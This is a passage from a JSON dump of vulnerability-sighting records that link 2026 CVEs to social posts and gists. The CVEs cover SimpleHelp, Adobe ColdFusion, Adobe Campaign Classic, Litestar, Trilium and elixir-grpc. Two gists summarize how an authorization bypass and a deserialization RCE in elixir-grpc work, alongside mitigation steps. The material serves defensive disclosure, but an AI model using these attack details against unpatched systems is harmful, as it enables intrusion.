"\u7c73\u56fd\u30b5\u30a4\u30d0\u30fc\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30fb\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5e81\uff08CISA\uff09\u304c\u3001\u65e2\u77e5\u306e\u60aa\u7528\u3055\u308c\u305f\u8106\u5f31\u6027\u30ea\u30b9\u30c8\u306bSimpleHelp\u306e\u8106\u5f31\u6027\u3092\u8ffd\u52a0\n\n\u7c73\u56fd\u306e\u30b5\u30a4\u30d0\u30fc\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30fb\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5e81\uff08CISA\uff09\u306f \u3001 CVE-2026-48558\uff08CVSS\u30b9\u30b3\u30a2v3.1/10.0\uff09\u3068\u3057\u3066\u8ffd\u8de1\u3055\u308c\u3066\u3044\u308bSimpleHelp\u306e\u8106\u5f31\u6027\u3092\u3001\u65e2\u77e5\u306e\u60aa\u7528\u3055\u308c\u305f\u8106\u5f31\u6027\uff08KEV\uff09\u30ab\u30bf\u30ed\u30b0\u306b\u8ffd\u52a0\u3057\u307e\u3057\u305f\u3002\n\nCVE-2026-48558\u306f\u3001SimpleHelp\u30d0\u30fc\u30b8\u30e7\u30f35.5.15\u4ee5\u524d\u304a\u3088\u30736.0\u30d7\u30ec\u30ea\u30ea\u30fc\u30b9\u7248\u306b\u5b58\u5728\u3059\u308b\u3001\u8a8d\u8a3c\u30d0\u30a4\u30d1\u30b9\u306e\u91cd\u5927\u306a\u8106\u5f31\u6027\u3067\u3059\u3002OIDC\u8a8d\u8a3c\u304c\u6709\u52b9\u306b\u306a\u3063\u3066\u3044\u308b\u5834\u5408\u3001\u30bd\u30d5\u30c8\u30a6...", "creation_timestamp": "2026-07-28T22:41:55.494607Z"}, {"uuid": "afaeef93-8be4-4ce3-a398-4be99bb34d3a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48060", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mrqiccl5662x", "content": "CVE-2026-48060 - Litestar: HTML Injection Through CSRF Token\nCVE ID : CVE-2026-48060\n \n Published : July 28, 2026, 8:17 p.m. | 2\u00a0hours, 20\u00a0minutes ago\n \n Description : Litestar is an Asynchronous Server Gateway Interface (ASGI) framework. Prior to version 2.20.0, Litestar inst...", "creation_timestamp": "2026-07-28T22:43:16.619038Z"}, {"uuid": "29d515cd-9558-473d-8c9d-90285c11e705", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48276", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mrqictkgjc2q", "content": "\u300cAdobe ColdFusion\u300d\u306b\u8907\u6570\u306e\u6df1\u523b\u306a\u8106\u5f31\u6027 - \u65e9\u6025\u306b\u5bfe\u5fdc\u3092\n\nAdobe\u306f\u3001\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u30b5\u30fc\u30d0\u300cAdobe ColdFusion\u300d\u306b\u6df1\u523b\u306a\u8106\u5f31\u6027\u304c\u5224\u660e\u3057\u305f\u3068\u3057\u3066\u3001\u5b9a\u4f8b\u5916\u306e\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u3092\u516c\u958b\u3057\u305f\u3002\u60aa\u7528\u3055\u308c\u308b\u30ea\u30b9\u30af\u304c\u9ad8\u3044\u3068\u3057\u3001\u3067\u304d\u308b\u3060\u3051\u65e9\u6025\u306b\u5bfe\u51e6\u3059\u308b\u3088\u3046\u6c42\u3081\u3066\u3044\u308b\u3002\n\n...\n\n\u306a\u304b\u3067\u3082\u4efb\u610f\u306e\u30b3\u30fc\u30c9\u5b9f\u884c\u306b\u3064\u306a\u304c\u308b6\u4ef6\u300cCVE-2026-48276\u300d\u300cCVE-2026-48277\u300d\u300cCVE-2026-48281\u300d\u300cCVE-2026-48282\u300d\u300cCVE-2026-48283\u300d\u300cCVE-2026-48316\u300d\u306b\u3064\u3044\u3066\u306f\u3001\u5171\u901a\u8106\u5f31\u6027\u8a55\u4fa1\u30b7\u30b9\u30c6\u30e0\u300cCVSSv3.1\u300d\u306e\u30d9\u30fc\u30b9\u30b9\u30b3\u30a2...", "creation_timestamp": "2026-07-28T22:43:35.403772Z"}, {"uuid": "3f5f4409-1247-4eea-a439-13952a7e0407", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48277", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mrqictkgjc2q", "content": "\u300cAdobe ColdFusion\u300d\u306b\u8907\u6570\u306e\u6df1\u523b\u306a\u8106\u5f31\u6027 - \u65e9\u6025\u306b\u5bfe\u5fdc\u3092\n\nAdobe\u306f\u3001\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u30b5\u30fc\u30d0\u300cAdobe ColdFusion\u300d\u306b\u6df1\u523b\u306a\u8106\u5f31\u6027\u304c\u5224\u660e\u3057\u305f\u3068\u3057\u3066\u3001\u5b9a\u4f8b\u5916\u306e\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u3092\u516c\u958b\u3057\u305f\u3002\u60aa\u7528\u3055\u308c\u308b\u30ea\u30b9\u30af\u304c\u9ad8\u3044\u3068\u3057\u3001\u3067\u304d\u308b\u3060\u3051\u65e9\u6025\u306b\u5bfe\u51e6\u3059\u308b\u3088\u3046\u6c42\u3081\u3066\u3044\u308b\u3002\n\n...\n\n\u306a\u304b\u3067\u3082\u4efb\u610f\u306e\u30b3\u30fc\u30c9\u5b9f\u884c\u306b\u3064\u306a\u304c\u308b6\u4ef6\u300cCVE-2026-48276\u300d\u300cCVE-2026-48277\u300d\u300cCVE-2026-48281\u300d\u300cCVE-2026-48282\u300d\u300cCVE-2026-48283\u300d\u300cCVE-2026-48316\u300d\u306b\u3064\u3044\u3066\u306f\u3001\u5171\u901a\u8106\u5f31\u6027\u8a55\u4fa1\u30b7\u30b9\u30c6\u30e0\u300cCVSSv3.1\u300d\u306e\u30d9\u30fc\u30b9\u30b9\u30b3\u30a2...", "creation_timestamp": "2026-07-28T22:43:35.770214Z"}, {"uuid": "9a9fd2a4-c93d-4de1-af2a-4630dfe02d72", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48281", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mrqictkgjc2q", "content": "\u300cAdobe ColdFusion\u300d\u306b\u8907\u6570\u306e\u6df1\u523b\u306a\u8106\u5f31\u6027 - \u65e9\u6025\u306b\u5bfe\u5fdc\u3092\n\nAdobe\u306f\u3001\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u30b5\u30fc\u30d0\u300cAdobe ColdFusion\u300d\u306b\u6df1\u523b\u306a\u8106\u5f31\u6027\u304c\u5224\u660e\u3057\u305f\u3068\u3057\u3066\u3001\u5b9a\u4f8b\u5916\u306e\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u3092\u516c\u958b\u3057\u305f\u3002\u60aa\u7528\u3055\u308c\u308b\u30ea\u30b9\u30af\u304c\u9ad8\u3044\u3068\u3057\u3001\u3067\u304d\u308b\u3060\u3051\u65e9\u6025\u306b\u5bfe\u51e6\u3059\u308b\u3088\u3046\u6c42\u3081\u3066\u3044\u308b\u3002\n\n...\n\n\u306a\u304b\u3067\u3082\u4efb\u610f\u306e\u30b3\u30fc\u30c9\u5b9f\u884c\u306b\u3064\u306a\u304c\u308b6\u4ef6\u300cCVE-2026-48276\u300d\u300cCVE-2026-48277\u300d\u300cCVE-2026-48281\u300d\u300cCVE-2026-48282\u300d\u300cCVE-2026-48283\u300d\u300cCVE-2026-48316\u300d\u306b\u3064\u3044\u3066\u306f\u3001\u5171\u901a\u8106\u5f31\u6027\u8a55\u4fa1\u30b7\u30b9\u30c6\u30e0\u300cCVSSv3.1\u300d\u306e\u30d9\u30fc\u30b9\u30b9\u30b3\u30a2...", "creation_timestamp": "2026-07-28T22:43:35.835531Z"}, {"uuid": "cdfabdb6-f8bc-40ae-99f6-b33fb40e4513", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mrqictkgjc2q", "content": "\u300cAdobe ColdFusion\u300d\u306b\u8907\u6570\u306e\u6df1\u523b\u306a\u8106\u5f31\u6027 - \u65e9\u6025\u306b\u5bfe\u5fdc\u3092\n\nAdobe\u306f\u3001\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u30b5\u30fc\u30d0\u300cAdobe ColdFusion\u300d\u306b\u6df1\u523b\u306a\u8106\u5f31\u6027\u304c\u5224\u660e\u3057\u305f\u3068\u3057\u3066\u3001\u5b9a\u4f8b\u5916\u306e\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u3092\u516c\u958b\u3057\u305f\u3002\u60aa\u7528\u3055\u308c\u308b\u30ea\u30b9\u30af\u304c\u9ad8\u3044\u3068\u3057\u3001\u3067\u304d\u308b\u3060\u3051\u65e9\u6025\u306b\u5bfe\u51e6\u3059\u308b\u3088\u3046\u6c42\u3081\u3066\u3044\u308b\u3002\n\n...\n\n\u306a\u304b\u3067\u3082\u4efb\u610f\u306e\u30b3\u30fc\u30c9\u5b9f\u884c\u306b\u3064\u306a\u304c\u308b6\u4ef6\u300cCVE-2026-48276\u300d\u300cCVE-2026-48277\u300d\u300cCVE-2026-48281\u300d\u300cCVE-2026-48282\u300d\u300cCVE-2026-48283\u300d\u300cCVE-2026-48316\u300d\u306b\u3064\u3044\u3066\u306f\u3001\u5171\u901a\u8106\u5f31\u6027\u8a55\u4fa1\u30b7\u30b9\u30c6\u30e0\u300cCVSSv3.1\u300d\u306e\u30d9\u30fc\u30b9\u30b9\u30b3\u30a2...", "creation_timestamp": "2026-07-28T22:43:35.882744Z"}, {"uuid": "74e1bb0c-acd5-4f82-ac01-7fd33df4de99", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48283", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mrqictkgjc2q", "content": "\u300cAdobe ColdFusion\u300d\u306b\u8907\u6570\u306e\u6df1\u523b\u306a\u8106\u5f31\u6027 - \u65e9\u6025\u306b\u5bfe\u5fdc\u3092\n\nAdobe\u306f\u3001\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u30b5\u30fc\u30d0\u300cAdobe ColdFusion\u300d\u306b\u6df1\u523b\u306a\u8106\u5f31\u6027\u304c\u5224\u660e\u3057\u305f\u3068\u3057\u3066\u3001\u5b9a\u4f8b\u5916\u306e\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u3092\u516c\u958b\u3057\u305f\u3002\u60aa\u7528\u3055\u308c\u308b\u30ea\u30b9\u30af\u304c\u9ad8\u3044\u3068\u3057\u3001\u3067\u304d\u308b\u3060\u3051\u65e9\u6025\u306b\u5bfe\u51e6\u3059\u308b\u3088\u3046\u6c42\u3081\u3066\u3044\u308b\u3002\n\n...\n\n\u306a\u304b\u3067\u3082\u4efb\u610f\u306e\u30b3\u30fc\u30c9\u5b9f\u884c\u306b\u3064\u306a\u304c\u308b6\u4ef6\u300cCVE-2026-48276\u300d\u300cCVE-2026-48277\u300d\u300cCVE-2026-48281\u300d\u300cCVE-2026-48282\u300d\u300cCVE-2026-48283\u300d\u300cCVE-2026-48316\u300d\u306b\u3064\u3044\u3066\u306f\u3001\u5171\u901a\u8106\u5f31\u6027\u8a55\u4fa1\u30b7\u30b9\u30c6\u30e0\u300cCVSSv3.1\u300d\u306e\u30d9\u30fc\u30b9\u30b9\u30b3\u30a2...", "creation_timestamp": "2026-07-28T22:43:35.937627Z"}, {"uuid": "5e9a7897-bc8f-43ce-b6ef-0a6e8d2c0ec6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48316", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mrqictkgjc2q", "content": "\u300cAdobe ColdFusion\u300d\u306b\u8907\u6570\u306e\u6df1\u523b\u306a\u8106\u5f31\u6027 - \u65e9\u6025\u306b\u5bfe\u5fdc\u3092\n\nAdobe\u306f\u3001\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u30b5\u30fc\u30d0\u300cAdobe ColdFusion\u300d\u306b\u6df1\u523b\u306a\u8106\u5f31\u6027\u304c\u5224\u660e\u3057\u305f\u3068\u3057\u3066\u3001\u5b9a\u4f8b\u5916\u306e\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u3092\u516c\u958b\u3057\u305f\u3002\u60aa\u7528\u3055\u308c\u308b\u30ea\u30b9\u30af\u304c\u9ad8\u3044\u3068\u3057\u3001\u3067\u304d\u308b\u3060\u3051\u65e9\u6025\u306b\u5bfe\u51e6\u3059\u308b\u3088\u3046\u6c42\u3081\u3066\u3044\u308b\u3002\n\n...\n\n\u306a\u304b\u3067\u3082\u4efb\u610f\u306e\u30b3\u30fc\u30c9\u5b9f\u884c\u306b\u3064\u306a\u304c\u308b6\u4ef6\u300cCVE-2026-48276\u300d\u300cCVE-2026-48277\u300d\u300cCVE-2026-48281\u300d\u300cCVE-2026-48282\u300d\u300cCVE-2026-48283\u300d\u300cCVE-2026-48316\u300d\u306b\u3064\u3044\u3066\u306f\u3001\u5171\u901a\u8106\u5f31\u6027\u8a55\u4fa1\u30b7\u30b9\u30c6\u30e0\u300cCVSSv3.1\u300d\u306e\u30d9\u30fc\u30b9\u30b9\u30b3\u30a2...", "creation_timestamp": "2026-07-28T22:43:35.980419Z"}, {"uuid": "d53d43da-03c1-4c5c-a0a3-d51818a60258", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48286", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mrqiehcllk2q", "content": "\u300cAdobe Campaign Classic\u300d\u306b\u60aa\u7528\u30ea\u30b9\u30af\u304c\u9ad8\u3044\u8106\u5f31\u6027\n\n\u300cAdobe Campaign Classic\u300d\u306b\u60aa\u7528\u306e\u30ea\u30b9\u30af\u304c\u9ad8\u3044\u8106\u5f31\u6027\u304c\u660e\u3089\u304b\u3068\u306a\u3063\u305f\u3002Adobe\u3067\u306f\u65e9\u6025\u306b\u5bfe\u7b56\u3092\u8b1b\u3058\u308b\u3088\u3046\u547c\u3073\u304b\u3051\u3066\u3044\u308b\u3002\n\nAdobe\u306f\u73fe\u5730\u6642\u95936\u670830\u65e5\u3001\u30aa\u30f3\u30d7\u30ec\u30df\u30b9\u74b0\u5883\u3084\u30cf\u30a4\u30d6\u30ea\u30c3\u30c9\u69cb\u6210\u306e\u5834\u5408\u306b\u5f71\u97ff\u3092\u53d7\u3051\u308b\u8106\u5f31\u6027\u300cCVE-2026-48286\u300d\u3092\u660e\u3089\u304b\u306b\u3057\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u3092\u30ea\u30ea\u30fc\u30b9\u3057\u305f\u3002Windows\u3001Linux\u306e\u4e21\u30d7\u30e9\u30c3\u30c8\u30d5\u30a9\u30fc\u30e0\u304c\u5f71\u97ff\u3092\u53d7\u3051\u308b\u3002\n\n\u300cCVE-2026-48286\u300d\u306f\u8a8d\u53ef\u4e0d\u5099\u306b\u8d77\u56e0\u3059\u308b\u8106\u5f31\u6027\u3067\u3001\u60aa\u7528\u3055\u308c\u308b\u3068\u4efb\u610f\u306e\u30b3\u30fc\u30c9\u3092\u5b9f\u884c\u3055\u308c\u308b\u304a\u305d\u308c\u304c\u3042\u308b\u3002\u5171\u901a\u8106\u5f31\u6027\u8a55\u4fa1...", "creation_timestamp": "2026-07-28T22:44:33.285756Z"}, {"uuid": "1ddc56a2-b55d-44d4-9653-25673f23c38b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mrqju6rjks2q", "content": "CISA\u304c\u3001\u60aa\u7528\u3055\u308c\u3066\u3044\u308bSimpleHelp\u306e\u8106\u5f31\u6027\u3092KEV\u30ab\u30bf\u30ed\u30b0\u306b\u8ffd\u52a0\n\n\u7c73\u56fd\u30b5\u30a4\u30d0\u30fc\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30fb\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5e81\uff08CISA\uff09\u306f\u3001SimpleHelp\u306b\u91cd\u5927\u306a\u8106\u5f31\u6027\uff08CVE-2026-48558\uff09\u3092\u767a\u898b\u3057\u3001\u65e2\u77e5\u306e\u60aa\u7528\u3055\u308c\u305f\u8106\u5f31\u6027\uff08KEV\uff09\u30ab\u30bf\u30ed\u30b0\u306b\u8ffd\u52a0\u3057\u307e\u3057\u305f\u3002\n\n\u3053\u308c\u306f\u3001\u3053\u306e\u8106\u5f31\u6027\u304c\u5b9f\u969b\u306b\u60aa\u7528\u3055\u308c\u3066\u3044\u308b\u3053\u3068\u3092\u793a\u3057\u3066\u304a\u308a\u3001CISA\u306f\u5373\u6642\u306e\u5bfe\u7b56\u3092\u5f37\u304f\u6c42\u3081\u3066\u3044\u308b\u3002CWE-347\uff08\u6697\u53f7\u7f72\u540d\u306e\u4e0d\u9069\u5207\u306a\u691c\u8a3c\uff09\u306b\u5206\u985e\u3055\u308c\u308b\u3053\u306e\u8106\u5f31\u6027\u306f\u3001SimpleHelp\u30ea\u30e2\u30fc\u30c8\u30b5\u30dd\u30fc\u30c8\u30bd\u30d5\u30c8\u30a6\u30a7\u30a2\u306b\u5f71\u97ff\u3092\u4e0e\u3048\u3001OpenID Connect\uff08OIDC\uff09\u8a8d\u8a3c\u304c\u6709\u52b9\u306b\u306a\u3063\u3066\u3044\u308b\u69cb\u6210\u306b\u304a\u3044\u3066\u3001\u6df1...", "creation_timestamp": "2026-07-28T23:11:11.854949Z"}, {"uuid": "9d8e81da-df6d-4662-b72a-2a1f456be348", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48283", "type": "seen", "source": "https://bsky.app/profile/buherator.bsky.social/post/3mrreknn7qm22", "content": "[RSS] ColdFusion Under Fire: Breaking Down CVE-2026-48283 and CVE-2026-48313\n\n\n horizon3.ai -> \n\n\nOriginal->", "creation_timestamp": "2026-07-29T07:09:02.108044Z"}, {"uuid": "18b31824-76a1-448e-bc79-05622a37d8a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48313", "type": "seen", "source": "https://bsky.app/profile/buherator.bsky.social/post/3mrreknn7qm22", "content": "[RSS] ColdFusion Under Fire: Breaking Down CVE-2026-48283 and CVE-2026-48313\n\n\n horizon3.ai -> \n\n\nOriginal->", "creation_timestamp": "2026-07-29T07:09:02.164684Z"}, {"uuid": "49252adb-6334-4d13-881e-c8a0a4017564", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48599", "type": "seen", "source": "https://gist.github.com/alon710/de2f443dedb4eb6745ce771bf61c5306", "content": "# CVE-2026-48599: CVE-2026-48599: Authorization Bypass in elixir-grpc/grpc Transcoding Layer\n\n> **CVSS Score:** 7.6\n> **Published:** 2026-08-25\n> **Full Report:** https://cvereports.com/reports/CVE-2026-48599\n\n## Summary\nAn authorization bypass vulnerability exists in the elixir-grpc/grpc library version 0.8.0 up to 1.0.0. Due to insecure map merging precedence inside the HTTP-to-gRPC transcoding engine, query-string parameters and request bodies can override routing path variables, allowing attackers to execute unauthorized actions on other accounts.\n\n## TL;DR\nAn insecure Map.merge sequence in the elixir-grpc transcoding layer allows attackers to bypass tenancy controls by overriding authoritative path parameters via HTTP parameter pollution.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-639\n- **Attack Vector**: Network (AV:N)\n- **CVSS v4.0 Score**: 7.6 (High)\n- **EPSS Score / Percentile**: 0.00273 / 19.15%\n- **Exploit Status**: Proof-of-Concept\n- **CISA KEV Status**: Not Listed\n- **Ransomware Use**: No\n\n## Affected Systems\n\n- elixir-grpc/grpc\n- **elixir-grpc/grpc**: >= 0.8.0, < 1.0.0 (Fixed in: `1.0.0`)\n\n## Mitigation\n\n- Upgrade to elixir-grpc/grpc version 1.0.0 or higher\n- Implement validation logic inside the gRPC service handler using authentication headers\n- Configure API Gateways to strip conflicting query parameters\n\n**Remediation Steps:**\n1. Modify your mix.exs file to pin grpc to version 1.0.0 or later.\n2. Run mix deps.get and mix deps.compile to fetch the patched library.\n3. Deploy the updated application to production environments.\n\n## References\n\n- [GHSA-mwr4-5g34-j5cq: Authorization Bypass in elixir-grpc/grpc](https://github.com/elixir-grpc/grpc/security/advisories/GHSA-mwr4-5g34-j5cq)\n- [Fix http transcode binding priorities](https://github.com/elixir-grpc/grpc/commit/33b6a095dbc91c6dee3c7b90893d7d74952e82e4)\n- [Erlang Ecosystem Foundation Advisory](https://cna.erlef.org/cves/CVE-2026-48599.html)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-48599) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-08-26T10:31:32.228017Z"}, {"uuid": "0d385329-56d2-46b0-9f54-714acdf4cc77", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48996", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mu3ueoahkz2f", "content": "\ud83d\udea8 CVE-2026-48996 \u2014 CVSS 9.3 CRITICAL\n\nTrilium is an open-source hierarchical note-taking application. In versions up to and including 0.103.0, th...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-48996\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-08-27T22:09:01.132239Z"}, {"uuid": "0b8c6cb9-277f-4465-8971-1e0641a51899", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48395", "type": "seen", "source": "https://bsky.app/profile/hugovalters.bsky.social/post/3mrrv3heowi2d", "content": "CVE-2026-48395 - High severity RCE in Bridge via untrusted search path. CVSS 8.6. User interaction needed: open malicious file. No patch available. Be cautious with untrusted files. #CVE #infosec #Bridge\n\nhttps://www.valtersit.com/cve/CVE-2026-48395/", "creation_timestamp": "2026-07-29T12:04:45.958040Z"}, {"uuid": "9b03d3fe-4de1-442e-8123-7ec66194be4d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48853", "type": "seen", "source": "https://gist.github.com/alon710/50a574f48857c34c0cb9ded8ce78e9b5", "content": "# CVE-2026-48853: CVE-2026-48853: Remote Code Execution and Denial of Service in elixir-grpc via Erlpack Deserialization\n\n> **CVSS Score:** 9.2\n> **Published:** 2026-08-25\n> **Full Report:** https://cvereports.com/reports/CVE-2026-48853\n\n## Summary\nA critical vulnerability exists in the elixir-grpc library's Erlpack codec, where the unsafe deserialization of Erlang External Term Format (ETF) payloads allows unauthenticated remote attackers to cause a Denial of Service through atom table exhaustion or execute arbitrary code on the host server.\n\n## TL;DR\nUnauthenticated remote attackers can crash the BEAM VM or execute arbitrary code via crafted gRPC payloads containing unsafe Erlang External Term Format (ETF) structures when using the Erlpack codec.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-502, CWE-770\n- **Attack Vector**: Network (AV:N/AC:L/AT:P/PR:N/UI:N)\n- **CVSS Score**: 9.2 (Critical)\n- **EPSS Score**: 0.00573 (44.79th percentile)\n- **Impact**: Remote Code Execution (RCE) / Denial of Service (DoS)\n- **Exploit Status**: PoC / Analysis\n- **CISA KEV Status**: Not Listed\n\n## Affected Systems\n\n- elixir-grpc/grpc\n- **grpc**: >= 0.4.0, < 1.0.0 (Fixed in: `v1.0.0`)\n\n## Mitigation\n\n- Upgrade elixir-grpc to version 1.0.0 or higher.\n- Restrict supported server codecs by removing GRPC.Codec.Erlpack from the server configuration.\n- Deploy network firewall or proxy rules to filter and drop HTTP/2 requests with the Content-Type header containing application/grpc+erlpack.\n\n**Remediation Steps:**\n1. Open the mix.exs file in your Elixir project.\n2. Locate the :grpc dependency in your deps/0 block.\n3. Update the version constraint to '~> 1.0.0' or lock it directly to '1.0.0'.\n4. Run 'mix deps.get' to fetch the secure version of the package.\n5. Rebuild and redeploy your microservices to production.\n\n## References\n\n- [Fix Commit in GitHub Repository](https://github.com/elixir-grpc/grpc/commit/272a97a5ea1b46af1819f14a831fcf35fc91f992)\n- [GitHub Security Advisory (GHSA-grp7-v8xh-rj7h)](https://github.com/elixir-grpc/grpc/security/advisories/GHSA-grp7-v8xh-rj7h)\n- [Official Erlef CNA Record](https://cna.erlef.org/cves/CVE-2026-48853.html)\n- [Open Source Vulnerabilities (OSV) Record](https://osv.dev/vulnerability/EEF-CVE-2026-48853)\n- [NVD CVE-2026-48853 Detail](https://nvd.nist.gov/vuln/detail/CVE-2026-48853)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-48853) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-08-26T11:32:18.733166Z"}, {"uuid": "bcfbcf63-accd-4349-9418-6864e8811723", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48449", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3muciswbkjc2o", "content": "\u300cAdobe Campaign Classic\u300d\u306b\u60aa\u7528\u30ea\u30b9\u30af\u9ad8\u3044\u8106\u5f31\u6027 - \u65e9\u6025\u306b\u66f4\u65b0\u3092\n\n\u300cAdobe Campaign Classic\uff08ACC\uff09\u300d\u306b\u6df1\u523b\u306a\u8106\u5f31\u6027\u304c\u660e\u3089\u304b\u3068\u306a\u3063\u305f\u3002\u4eca\u5f8c\u60aa\u7528\u3055\u308c\u308b\u30ea\u30b9\u30af\u304c\u9ad8\u3044\u3068\u3057\u3066\u65e9\u6025\u306b\u5bfe\u7b56\u3092\u8b1b\u3058\u308b\u3088\u3046\u547c\u3073\u304b\u3051\u3066\u3044\u308b\u3002\n\n...\n\n\u300cCVE-2026-48449\u300d\u306f\u3001\u4e0d\u9069\u5207\u306a\u8a8d\u53ef\u51e6\u7406\u306b\u8d77\u56e0\u3059\u308b\u8106\u5f31\u6027\u3002\u30ea\u30e2\u30fc\u30c8\u3088\u308a\u8a8d\u8a3c\u3092\u5fc5\u8981\u3068\u3059\u308b\u3053\u3068\u306a\u304f\u30b3\u30fc\u30c9\u3092\u5b9f\u884c\u3055\u308c\u308b\u304a\u305d\u308c\u304c\u3042\u308b\u3002\n\n\u4e00\u65b9\u300cCVE-2026-48448\u300d\u306f\u3001\u300cSQL\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u300d\u306e\u8106\u5f31\u6027\u3002\u8a8d\u8a3c\u3092\u5fc5\u8981\u3068\u305b\u305a\u3001\u30d5\u30a1\u30a4\u30eb\u30b7\u30b9\u30c6\u30e0\u4e0a\u306b\u3042\u308b\u4efb\u610f\u306e\u30d5\u30a1\u30a4\u30eb\u3092\u8aad\u307f\u53d6\u3089\u308c\u308b\u304a\u305d\u308c\u304c\u3042\u308b\u3002", "creation_timestamp": "2026-08-30T13:30:52.924158Z"}, {"uuid": "1bb6fd18-363c-44f1-96f0-56f3a946f1bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48448", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3muciswbkjc2o", "content": "\u300cAdobe Campaign Classic\u300d\u306b\u60aa\u7528\u30ea\u30b9\u30af\u9ad8\u3044\u8106\u5f31\u6027 - \u65e9\u6025\u306b\u66f4\u65b0\u3092\n\n\u300cAdobe Campaign 